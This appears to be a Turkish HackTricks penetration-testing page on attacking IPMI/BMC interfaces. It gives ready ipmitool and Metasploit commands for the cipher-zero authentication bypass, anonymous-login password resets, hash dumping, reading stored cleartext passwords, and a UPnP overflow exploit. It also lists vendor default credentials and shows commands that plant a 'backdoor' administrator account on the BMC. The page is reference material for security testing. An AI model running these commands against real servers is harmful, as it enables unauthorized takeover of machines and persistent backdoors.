# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)ile!
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
## Temel Bilgiler
### **IPMI Genel Bakışı**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerini sağlar, hatta kapalı veya tepkisiz olduklarında bile ve özellikle şunlar için kullanışlıdır:
- Ön-İşletim Sistemi (Pre-OS) yapılandırmaları
- Güç kapalı yönetimi
- Sistem arızalarından kurtarma
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleyebilirken, envanter bilgileri sağlayabilir, donanım günlüklerini inceleyebilir ve SNMP aracılığıyla uyarılar gönderebilir. İşletimi için bir güç kaynağı ve bir LAN bağlantısı gereklidir.
Intel tarafından 1998 yılında tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş ve özellikle 2.0 sürümünün seri üzerinden LAN desteği ile uzaktan yönetim yeteneklerini geliştirmiştir. Ana bileşenler şunları içerir:
- **Baseboard Management Controller (BMC):** IPMI işlemleri için ana mikrodenetleyici.
- **İletişim Veriyolları ve Arayüzler:** Dahili ve harici iletişim için, ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil.
- **IPMI Belleği:** Günlüklerin ve verilerin depolanması için.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP üzerinde çalışır, ancak TCP üzerinde çalışabilir)
## Enumerasyon
### Keşif
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
**Sürümü** belirlemek için şunları yapabilirsiniz:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Zafiyetleri
IPMI 2.0 dünyasında, Dan Farmer tarafından keşfedilen önemli bir güvenlik açığı, **şifre türü 0** üzerinden ortaya çıkarıldı. Bu zafiyet, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) detaylı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında herhangi bir şifre ile yetkisiz erişime izin verir. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulunmuş ve tüm IPMI 2.0 uygulamalarında yaygın bir soruna işaret etmiştir.
### **Şifre 0 Aracılığıyla IPMI Kimlik Doğrulama Atlama**
Bu zafiyeti tespit etmek için aşağıdaki Metasploit yardımcı tarama aracı kullanılabilir:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Bu açığın istismarı, aşağıda gösterildiği gibi `ipmitool` ile gerçekleştirilebilir ve kullanıcı şifrelerinin listelenmesine ve değiştirilmesine olanak tanır:
```plaintext
$ ipmitool -I lanplus -H -U -P user list
$ ipmitool -I lanplus -H -U -P user set password
```
Bu komutlar, hedef IP adresine sahip bir sunucuda belirli bir kullanıcının şifresini listelemek ve değiştirmek için kullanılır.
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Kimlik Doğrulama Uzaktan Parola Hash Alımı**
Bu zafiyet, herhangi bir mevcut kullanıcı adı için tuzlanmış karmaşık parolaların (MD5 ve SHA1) alınmasını sağlar. Bu zafiyeti test etmek için Metasploit bir modül sunar:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonim Kimlik Doğrulama**
Birçok BMC'de varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleriyle karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Açık Metin Şifreleri**
IPMI 2.0'deki kritik bir tasarım seçimi, kimlik doğrulama amaçları için BMC'lerde açık metin şifrelerin depolanmasını gerektirir. Supermicro'nun bu şifreleri `/nv/PSBlock` veya `/nv/PSStore` gibi konumlarda depolaması ciddi güvenlik endişelerine neden olur:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Zafiyeti**
Supermicro'nun IPMI firmware'inde UPnP SSDP dinleyicisinin bulunması, özellikle UDP portu 1900 üzerinde, ciddi bir güvenlik riski oluşturur. Intel SDK for UPnP Devices sürüm 1.3.1'deki zafiyetler, [Rapid7'nin açıklamasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylı olarak belirtilmiştir ve BMC'ye kök erişim sağlar.
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP, Integrated Lights Out (iLO)** ürününde **üretim sırasında varsayılan şifreyi rastgeleleştirir**. Bu uygulama, diğer üreticilerin aksine, genellikle **sabit varsayılan kimlik bilgileri** kullanır. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerinin özeti aşağıda verilmiştir:
- **HP Integrated Lights Out (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgeleleştirilmiş 8 karakterlik bir dize** kullanır ve daha yüksek bir güvenlik seviyesini sergiler.
- **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Integrated Remote Management Controller** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile), ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
- Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgilerini kullanır.
## BMC Aracılığıyla Ana Bilgisayara Erişim
Ana kart Yönetim Denetleyicisi'nin (BMC) yönetici erişimi, ana bilgisayarın işletim sistemine erişmek için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini sömürmektir. Bunun için ya ana bilgisayarı GRUB üzerinden (`init=/bin/sh` kullanarak) bir kök kabuğuna yeniden başlatmak ya da kurtarma diski olarak ayarlanmış bir sanal CD-ROM'dan başlatmak yeterlidir. Bu yöntemler, ana bilgisayarın diskinin doğrudan manipülasyonunu, arka kapıların eklenmesini, veri çıkarılmasını veya güvenlik değerlendirmesi için gereken herhangi bir işlemi mümkün kılar. Ancak, bu, ana bilgisayarı yeniden başlatmayı gerektirir ve bu önemli bir dezavantajdır. Yeniden başlatma olmadan, çalışan ana bilgisayara erişmek daha karmaşık ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Eğer ana bilgisayarın fiziksel veya seri konsolu oturum açık kalıyorsa, BMC'nin KVM veya seri üzerinden ağ (sol) işlevselliği aracılığıyla kolayca ele geçirilebilir. i2c veri yolu ve Super I/O çipi gibi paylaşılan donanım kaynaklarının sömürülmesi, daha fazla araştırma gerektiren bir alandır.
## Ana Bilgisayardan BMC'ye Arka Kapı Eklemek
Bir BMC ile donatılmış bir ana bilgisayarı ele geçirdikten sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklemek** ve sunucuda kalıcı bir varlık oluşturmak mümkündür. Bu saldırı, ele geçirilen ana bilgisayarda **`ipmitool`**'un bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, bir yeni kullanıcı hesabının, kimlik doğrulaması gerektirmeyen yerel arayüzü kullanarak BMC'ye nasıl enjekte edileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS gibi geniş bir işletim sistemleri yelpazesinde uygulanabilir.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## Referanslar
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.